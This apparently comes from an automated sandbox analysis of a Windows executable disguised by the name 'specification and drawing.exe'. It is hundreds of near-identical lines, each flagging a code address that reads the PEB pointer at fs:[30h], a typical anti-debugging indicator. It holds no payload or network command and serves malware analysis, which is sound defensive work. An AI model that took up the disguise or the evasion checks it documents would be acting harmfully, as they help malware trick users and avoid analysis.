Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F273C mov ecx, dword ptr fs:[00000030h]	4_2_010F273C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F273C mov eax, dword ptr fs:[00000030h]	4_2_010F273C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102750 mov eax, dword ptr fs:[00000030h]	4_2_01102750
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102750 mov eax, dword ptr fs:[00000030h]	4_2_01102750
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01144755 mov eax, dword ptr fs:[00000030h]	4_2_01144755
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F674D mov esi, dword ptr fs:[00000030h]	4_2_010F674D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F674D mov eax, dword ptr fs:[00000030h]	4_2_010F674D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F674D mov eax, dword ptr fs:[00000030h]	4_2_010F674D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114E75D mov eax, dword ptr fs:[00000030h]	4_2_0114E75D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0750 mov eax, dword ptr fs:[00000030h]	4_2_010C0750
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8770 mov eax, dword ptr fs:[00000030h]	4_2_010C8770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770 mov eax, dword ptr fs:[00000030h]	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116678E mov eax, dword ptr fs:[00000030h]	4_2_0116678E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C07AF mov eax, dword ptr fs:[00000030h]	4_2_010C07AF
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CC7C0 mov eax, dword ptr fs:[00000030h]	4_2_010CC7C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011407C3 mov eax, dword ptr fs:[00000030h]	4_2_011407C3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E27ED mov eax, dword ptr fs:[00000030h]	4_2_010E27ED
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E27ED mov eax, dword ptr fs:[00000030h]	4_2_010E27ED
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E27ED mov eax, dword ptr fs:[00000030h]	4_2_010E27ED
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114E7E1 mov eax, dword ptr fs:[00000030h]	4_2_0114E7E1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C47FB mov eax, dword ptr fs:[00000030h]	4_2_010C47FB
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C47FB mov eax, dword ptr fs:[00000030h]	4_2_010C47FB
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D260B mov eax, dword ptr fs:[00000030h]	4_2_010D260B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D260B mov eax, dword ptr fs:[00000030h]	4_2_010D260B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D260B mov eax, dword ptr fs:[00000030h]	4_2_010D260B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D260B mov eax, dword ptr fs:[00000030h]	4_2_010D260B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D260B mov eax, dword ptr fs:[00000030h]	4_2_010D260B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D260B mov eax, dword ptr fs:[00000030h]	4_2_010D260B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D260B mov eax, dword ptr fs:[00000030h]	4_2_010D260B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102619 mov eax, dword ptr fs:[00000030h]	4_2_01102619
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E609 mov eax, dword ptr fs:[00000030h]	4_2_0113E609
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C262C mov eax, dword ptr fs:[00000030h]	4_2_010C262C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DE627 mov eax, dword ptr fs:[00000030h]	4_2_010DE627
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F6620 mov eax, dword ptr fs:[00000030h]	4_2_010F6620
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F8620 mov eax, dword ptr fs:[00000030h]	4_2_010F8620
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DC640 mov eax, dword ptr fs:[00000030h]	4_2_010DC640
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FA660 mov eax, dword ptr fs:[00000030h]	4_2_010FA660
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FA660 mov eax, dword ptr fs:[00000030h]	4_2_010FA660
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118866E mov eax, dword ptr fs:[00000030h]	4_2_0118866E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118866E mov eax, dword ptr fs:[00000030h]	4_2_0118866E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F2674 mov eax, dword ptr fs:[00000030h]	4_2_010F2674
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C4690 mov eax, dword ptr fs:[00000030h]	4_2_010C4690
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C4690 mov eax, dword ptr fs:[00000030h]	4_2_010C4690
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FC6A6 mov eax, dword ptr fs:[00000030h]	4_2_010FC6A6
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F66B0 mov eax, dword ptr fs:[00000030h]	4_2_010F66B0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FA6C7 mov ebx, dword ptr fs:[00000030h]	4_2_010FA6C7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FA6C7 mov eax, dword ptr fs:[00000030h]	4_2_010FA6C7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0113E6F2
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0113E6F2
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0113E6F2
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0113E6F2
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011406F1 mov eax, dword ptr fs:[00000030h]	4_2_011406F1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011406F1 mov eax, dword ptr fs:[00000030h]	4_2_011406F1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114C912 mov eax, dword ptr fs:[00000030h]	4_2_0114C912
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B8918 mov eax, dword ptr fs:[00000030h]	4_2_010B8918
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B8918 mov eax, dword ptr fs:[00000030h]	4_2_010B8918
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E908 mov eax, dword ptr fs:[00000030h]	4_2_0113E908
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E908 mov eax, dword ptr fs:[00000030h]	4_2_0113E908
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114892A mov eax, dword ptr fs:[00000030h]	4_2_0114892A
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0115892B mov eax, dword ptr fs:[00000030h]	4_2_0115892B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01140946 mov eax, dword ptr fs:[00000030h]	4_2_01140946
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114C97C mov eax, dword ptr fs:[00000030h]	4_2_0114C97C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E6962 mov eax, dword ptr fs:[00000030h]	4_2_010E6962
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E6962 mov eax, dword ptr fs:[00000030h]	4_2_010E6962
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E6962 mov eax, dword ptr fs:[00000030h]	4_2_010E6962
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01164978 mov eax, dword ptr fs:[00000030h]	4_2_01164978
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01164978 mov eax, dword ptr fs:[00000030h]	4_2_01164978
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0110096E mov eax, dword ptr fs:[00000030h]	4_2_0110096E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0110096E mov edx, dword ptr fs:[00000030h]	4_2_0110096E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0110096E mov eax, dword ptr fs:[00000030h]	4_2_0110096E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C09AD mov eax, dword ptr fs:[00000030h]	4_2_010C09AD
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C09AD mov eax, dword ptr fs:[00000030h]	4_2_010C09AD
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011489B3 mov esi, dword ptr fs:[00000030h]	4_2_011489B3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011489B3 mov eax, dword ptr fs:[00000030h]	4_2_011489B3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011489B3 mov eax, dword ptr fs:[00000030h]	4_2_011489B3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0 mov eax, dword ptr fs:[00000030h]	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118A9D3 mov eax, dword ptr fs:[00000030h]	4_2_0118A9D3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011569C0 mov eax, dword ptr fs:[00000030h]	4_2_011569C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA9D0 mov eax, dword ptr fs:[00000030h]	4_2_010CA9D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA9D0 mov eax, dword ptr fs:[00000030h]	4_2_010CA9D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA9D0 mov eax, dword ptr fs:[00000030h]	4_2_010CA9D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA9D0 mov eax, dword ptr fs:[00000030h]	4_2_010CA9D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA9D0 mov eax, dword ptr fs:[00000030h]	4_2_010CA9D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA9D0 mov eax, dword ptr fs:[00000030h]	4_2_010CA9D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F49D0 mov eax, dword ptr fs:[00000030h]	4_2_010F49D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114E9E0 mov eax, dword ptr fs:[00000030h]	4_2_0114E9E0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F29F9 mov eax, dword ptr fs:[00000030h]	4_2_010F29F9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F29F9 mov eax, dword ptr fs:[00000030h]	4_2_010F29F9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114C810 mov eax, dword ptr fs:[00000030h]	4_2_0114C810
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116483A mov eax, dword ptr fs:[00000030h]	4_2_0116483A
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116483A mov eax, dword ptr fs:[00000030h]	4_2_0116483A
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E2835 mov eax, dword ptr fs:[00000030h]	4_2_010E2835
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E2835 mov eax, dword ptr fs:[00000030h]	4_2_010E2835
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E2835 mov eax, dword ptr fs:[00000030h]	4_2_010E2835
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E2835 mov ecx, dword ptr fs:[00000030h]	4_2_010E2835
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E2835 mov eax, dword ptr fs:[00000030h]	4_2_010E2835
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E2835 mov eax, dword ptr fs:[00000030h]	4_2_010E2835
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FA830 mov eax, dword ptr fs:[00000030h]	4_2_010FA830
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D2840 mov ecx, dword ptr fs:[00000030h]	4_2_010D2840
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C4859 mov eax, dword ptr fs:[00000030h]	4_2_010C4859
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C4859 mov eax, dword ptr fs:[00000030h]	4_2_010C4859
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F0854 mov eax, dword ptr fs:[00000030h]	4_2_010F0854
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01156870 mov eax, dword ptr fs:[00000030h]	4_2_01156870
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01156870 mov eax, dword ptr fs:[00000030h]	4_2_01156870
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114E872 mov eax, dword ptr fs:[00000030h]	4_2_0114E872
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114E872 mov eax, dword ptr fs:[00000030h]	4_2_0114E872
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114C89D mov eax, dword ptr fs:[00000030h]	4_2_0114C89D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0887 mov eax, dword ptr fs:[00000030h]	4_2_010C0887
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE8C0 mov eax, dword ptr fs:[00000030h]	4_2_010EE8C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FC8F9 mov eax, dword ptr fs:[00000030h]	4_2_010FC8F9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FC8F9 mov eax, dword ptr fs:[00000030h]	4_2_010FC8F9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118A8E4 mov eax, dword ptr fs:[00000030h]	4_2_0118A8E4
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113EB1D mov eax, dword ptr fs:[00000030h]	4_2_0113EB1D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113EB1D mov eax, dword ptr fs:[00000030h]	4_2_0113EB1D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113EB1D mov eax, dword ptr fs:[00000030h]	4_2_0113EB1D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113EB1D mov eax, dword ptr fs:[00000030h]	4_2_0113EB1D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113EB1D mov eax, dword ptr fs:[00000030h]	4_2_0113EB1D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113EB1D mov eax, dword ptr fs:[00000030h]	4_2_0113EB1D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113EB1D mov eax, dword ptr fs:[00000030h]	4_2_0113EB1D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113EB1D mov eax, dword ptr fs:[00000030h]	4_2_0113EB1D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113EB1D mov eax, dword ptr fs:[00000030h]	4_2_0113EB1D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EEB20 mov eax, dword ptr fs:[00000030h]	4_2_010EEB20
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EEB20 mov eax, dword ptr fs:[00000030h]	4_2_010EEB20
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01188B28 mov eax, dword ptr fs:[00000030h]	4_2_01188B28
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01188B28 mov eax, dword ptr fs:[00000030h]	4_2_01188B28
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01168B42 mov eax, dword ptr fs:[00000030h]	4_2_01168B42
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01156B40 mov eax, dword ptr fs:[00000030h]	4_2_01156B40
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01156B40 mov eax, dword ptr fs:[00000030h]	4_2_01156B40
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118AB40 mov eax, dword ptr fs:[00000030h]	4_2_0118AB40
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BCB7E mov eax, dword ptr fs:[00000030h]	4_2_010BCB7E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0BBE mov eax, dword ptr fs:[00000030h]	4_2_010D0BBE
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0BBE mov eax, dword ptr fs:[00000030h]	4_2_010D0BBE
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0BCD mov eax, dword ptr fs:[00000030h]	4_2_010C0BCD
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0BCD mov eax, dword ptr fs:[00000030h]	4_2_010C0BCD
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0BCD mov eax, dword ptr fs:[00000030h]	4_2_010C0BCD
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E0BCB mov eax, dword ptr fs:[00000030h]	4_2_010E0BCB
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E0BCB mov eax, dword ptr fs:[00000030h]	4_2_010E0BCB
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E0BCB mov eax, dword ptr fs:[00000030h]	4_2_010E0BCB
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116EBD0 mov eax, dword ptr fs:[00000030h]	4_2_0116EBD0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114CBF0 mov eax, dword ptr fs:[00000030h]	4_2_0114CBF0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EEBFC mov eax, dword ptr fs:[00000030h]	4_2_010EEBFC
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8BF0 mov eax, dword ptr fs:[00000030h]	4_2_010C8BF0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8BF0 mov eax, dword ptr fs:[00000030h]	4_2_010C8BF0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8BF0 mov eax, dword ptr fs:[00000030h]	4_2_010C8BF0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114CA11 mov eax, dword ptr fs:[00000030h]	4_2_0114CA11
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EEA2E mov eax, dword ptr fs:[00000030h]	4_2_010EEA2E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FCA24 mov eax, dword ptr fs:[00000030h]	4_2_010FCA24
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FCA38 mov eax, dword ptr fs:[00000030h]	4_2_010FCA38
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E4A35 mov eax, dword ptr fs:[00000030h]	4_2_010E4A35
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E4A35 mov eax, dword ptr fs:[00000030h]	4_2_010E4A35
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0A5B mov eax, dword ptr fs:[00000030h]	4_2_010D0A5B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0A5B mov eax, dword ptr fs:[00000030h]	4_2_010D0A5B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C6A50 mov eax, dword ptr fs:[00000030h]	4_2_010C6A50
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C6A50 mov eax, dword ptr fs:[00000030h]	4_2_010C6A50
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C6A50 mov eax, dword ptr fs:[00000030h]	4_2_010C6A50
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C6A50 mov eax, dword ptr fs:[00000030h]	4_2_010C6A50
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C6A50 mov eax, dword ptr fs:[00000030h]	4_2_010C6A50
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C6A50 mov eax, dword ptr fs:[00000030h]	4_2_010C6A50
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C6A50 mov eax, dword ptr fs:[00000030h]	4_2_010C6A50
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FCA6F mov eax, dword ptr fs:[00000030h]	4_2_010FCA6F
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FCA6F mov eax, dword ptr fs:[00000030h]	4_2_010FCA6F
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FCA6F mov eax, dword ptr fs:[00000030h]	4_2_010FCA6F
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113CA72 mov eax, dword ptr fs:[00000030h]	4_2_0113CA72
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113CA72 mov eax, dword ptr fs:[00000030h]	4_2_0113CA72
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CEA80 mov eax, dword ptr fs:[00000030h]	4_2_010CEA80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CEA80 mov eax, dword ptr fs:[00000030h]	4_2_010CEA80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CEA80 mov eax, dword ptr fs:[00000030h]	4_2_010CEA80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CEA80 mov eax, dword ptr fs:[00000030h]	4_2_010CEA80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CEA80 mov eax, dword ptr fs:[00000030h]	4_2_010CEA80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CEA80 mov eax, dword ptr fs:[00000030h]	4_2_010CEA80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CEA80 mov eax, dword ptr fs:[00000030h]	4_2_010CEA80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CEA80 mov eax, dword ptr fs:[00000030h]	4_2_010CEA80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CEA80 mov eax, dword ptr fs:[00000030h]	4_2_010CEA80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01194A80 mov eax, dword ptr fs:[00000030h]	4_2_01194A80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F8A90 mov edx, dword ptr fs:[00000030h]	4_2_010F8A90
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8AA0 mov eax, dword ptr fs:[00000030h]	4_2_010C8AA0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8AA0 mov eax, dword ptr fs:[00000030h]	4_2_010C8AA0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01116AA4 mov eax, dword ptr fs:[00000030h]	4_2_01116AA4
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0AD0 mov eax, dword ptr fs:[00000030h]	4_2_010C0AD0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01116ACC mov eax, dword ptr fs:[00000030h]	4_2_01116ACC
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01116ACC mov eax, dword ptr fs:[00000030h]	4_2_01116ACC
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01116ACC mov eax, dword ptr fs:[00000030h]	4_2_01116ACC
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F4AD0 mov eax, dword ptr fs:[00000030h]	4_2_010F4AD0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F4AD0 mov eax, dword ptr fs:[00000030h]	4_2_010F4AD0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FAAEE mov eax, dword ptr fs:[00000030h]	4_2_010FAAEE
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FAAEE mov eax, dword ptr fs:[00000030h]	4_2_010FAAEE
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01178D10 mov eax, dword ptr fs:[00000030h]	4_2_01178D10
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01178D10 mov eax, dword ptr fs:[00000030h]	4_2_01178D10
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DAD00 mov eax, dword ptr fs:[00000030h]	4_2_010DAD00
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DAD00 mov eax, dword ptr fs:[00000030h]	4_2_010DAD00
